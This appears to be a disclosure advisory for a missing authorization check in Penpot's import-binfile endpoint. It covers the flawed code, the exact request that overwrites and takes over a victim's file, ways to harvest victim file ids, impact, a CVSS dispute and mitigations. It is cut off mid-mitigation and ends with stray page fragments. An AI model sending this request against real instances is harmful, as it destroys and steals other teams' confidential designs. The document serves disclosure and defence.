CAUSE\n==========\n\nWhat makes this one worth reading is that the correct check is in the\nsame source file, about seventy lines away, on the other direction of\nthe same feature.\n\nexport-binfile validates read permission on its file-id before handing\nanything back:\n\n (sv/defmethod ::export-binfile\n ...\n [{:keys [::db/pool] :as cfg}\n {:keys [::rpc/profile-id file-id] :as params}]\n (files/check-read-permissions! pool profile-id file-id) ; \u003c-- yes\n (sse/response (partial export-binfile cfg params)))\n\nimport-binfile validates the caller\u0027s project and then binds the\ncaller\u0027s file-id straight through:\n\n (sv/defmethod ::import-binfile\n ...\n [{:keys [::db/pool] :as cfg}\n {:keys [::rpc/profile-id project-id version file-id upload-id]\n :as params}]\n (projects/check-edition-permissions! pool profile-id project-id)\n (let [...\n cfg (cond-\u003e cfg\n (uuid? file-id)\n (assoc ::bfc/file-id file-id))] ; \u003c-- no check\n ...))\n\nThe permission function exists. It is already imported. It is used\ncorrectly a few dozen lines up. The import path just does not call it.\n\nDownstream, the in-place import fetches the target file by id alone with\nno ownership predicate on the query, enables overwrite mode, writes the\nattacker\u0027s content into the victim\u0027s file row, and sets that row\u0027s\nproject to the attacker\u0027s project. The final update is keyed only on the\nattacker-supplied file id.\n\n\nEXPLOITATION\n============\n\nPrerequisite: any authenticated account with a project of its own. On a\ndefault install, self-register.\n\n POST /api/rpc/command/import-binfile\n Cookie: \u003cattacker session\u003e\n Content-Type: multipart/form-data\n\n project-id = \u003ca project the attacker owns\u003e ; checked\n file-id = \u003cthe victim\u0027s file\u003e ; NOT checked\n file = \u003ca valid single-file .penpot archive\u003e\n\nThe obvious objection is that file ids are random UUIDs, so how do you\naim it. In practice they leak through entirely normal use, and two of\nthe three routes require no mistake by the victim:\n\n 1. Public share links. Clicking Share produces a URL with the file id\n in it in plaintext. People send those to clients and contractors\n all day. Whoever holds the link holds the targeting data.\n\n 2. Shared-library enumeration. Any user who has ever linked a shared\n design-system library can read that library\u0027s file id from an\n ordinary library-listing call. No error, no audit trail. This is\n the route that reaches an entire organisation\u0027s design system\n rather than one file.\n\n 3. Workspace and viewer URLs embed the file id, so it turns up in\n screenshots, support tickets, Slack pastes and screen shares.\n\nOn attack complexity, since it came up during coordination: AC:H is\nmeant for conditions the attacker cannot arrange unilaterally. Receiving\na share link and listing shared libraries are ordinary actions any\naccount can take on its own. Complexity stays Low.\n\n\nIMPACT\n======\n\n - Data destruction. The victim\u0027s file contents are replaced with the\n attacker\u0027s.\n\n - Persistent takeover. Penpot resolves file permissions by walking\n file -\u003e project -\u003e team. Re-parenting rewrites that lineage, so the\n attacker becomes the legitimate owner in the eyes of every other\n endpoint, free to open, edit, export, duplicate and re-share the\n victim\u0027s design. The file vanishes from the victim\u0027s project. They\n cannot reach it to attempt a restore.\n\n - Library poisoning. If the hijacked file was a shared design library,\n every file in every other team that syncs from it starts pulling\n attacker-controlled components, colours and typography.\n\n - Cross-team scope. The attacker holds no authorisation on the\n victim\u0027s team. The operation moves a resource out of that boundary\n entirely.\n\nDesign files are not low-value data. One file can hold an unreleased\nproduct\u0027s whole interface, pre-launch brand and marketing assets, or\nmockups carrying real customer names in placeholder text. Agencies\nroutinely run one instance with a team per client and rely on team\nseparation to keep those clients confidential from each other. That\nassumption does not currently hold.\n\nThe original report also bundled a lower-severity issue with the same\nroot pattern: the realtime WebSocket channel lets a client subscribe to\na file or team topic using a client-supplied id with no permission\ncheck, allowing live exfiltration of collaborative edits and\nshared-library changes for any file whose id you know. Same mistake --\ntrusting a client-supplied identifier without re-checking it. One\ndisciplined patch closes both.\n\n\nON THE SCORE\n============\n\nThe CVE record carries 7.5 High:\n\n CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\nThat is also the number on my own advisory. I publish the assigned score\nrather than mine, because the CVE record is what the ecosystem actually\nconsumes and a mismatched headline number reads as inflation. It is also\nthe number I disagree with, and I would rather argue that in the open\nthan quietly ship a different one.\n\nC:N/I:N describes the vulnerable endpoint honestly enough if you read\nthe operation as \"the victim\u0027s file is destroyed.\" But the file is not\ndestroyed. It is moved, intact, into the attacker\u0027s project, where they\ncan read and export it. That is a confidentiality loss. Its contents are\nthen attacker-controlled, and if it was a shared library that content\npropagates into other teams\u0027 files. That is an integrity loss with a\nblast radius past the original resource. Scoring it A:H only measures\nwhat the victim stopped having, not what the attacker started having.\n\nS:U has the same problem. The operation carries a resource across a team\nboundary the attacker was never authorised for; calling that scope\nunchanged treats Penpot\u0027s file store as one undifferentiated pool, which\nis precisely the assumption the product\u0027s team model tells customers is\nfalse.\n\nMy pre-assignment score was 9.9. Take that as one researcher\u0027s read, not\nas a correction to the record -- but if you are triaging this from the\n7.5 alone, triage the impact section above instead. Worth more than\neither number for that purpose: the CISA ADP Vulnrichment enrichment on\nthe same record carries an SSVC assessment of exploitation\nproof-of-concept, technical impact partial, automatable yes. I wrote the\ngeneral version of this argument up here, alongside the same pattern in\nCVE-2026-16751:\n\n https://vokecyber.com/blog/when-cvss-scores-the-endpoint-not-the-loss\n\n\nMITIGATIONS\n===========\n\nNo fixed release to upgrade to, so, in order of value:\n\n 1. Disable open self-registration. Does not fix the bug. Removes the\n sign-up-and-attack path and takes the score to 6.5, since the\n attacker then needs an account somebody gave them.\n\n 2. Treat every account on the instance as having write access to every\n file on it, and plan accordingly. If you rely on team separation\n for client confidentiality, consider separate instances for\n genuinely sensitive work until this is fixed.\n\n 3. Audit for prior exploitation. Look for file rows whose owning\n project changed with no corresponding user action, and for edits\n written by a profile that is not a member of the file\u0027s team. An\n in-place import does not leave a normal change row behind, so the\n signal to chase is a file whose project lineage no longer matches\n the accounts that historically edited it.\n\n 4. Keep backups outs"
}
],
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}
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displaying 161 - 170 publications in total 581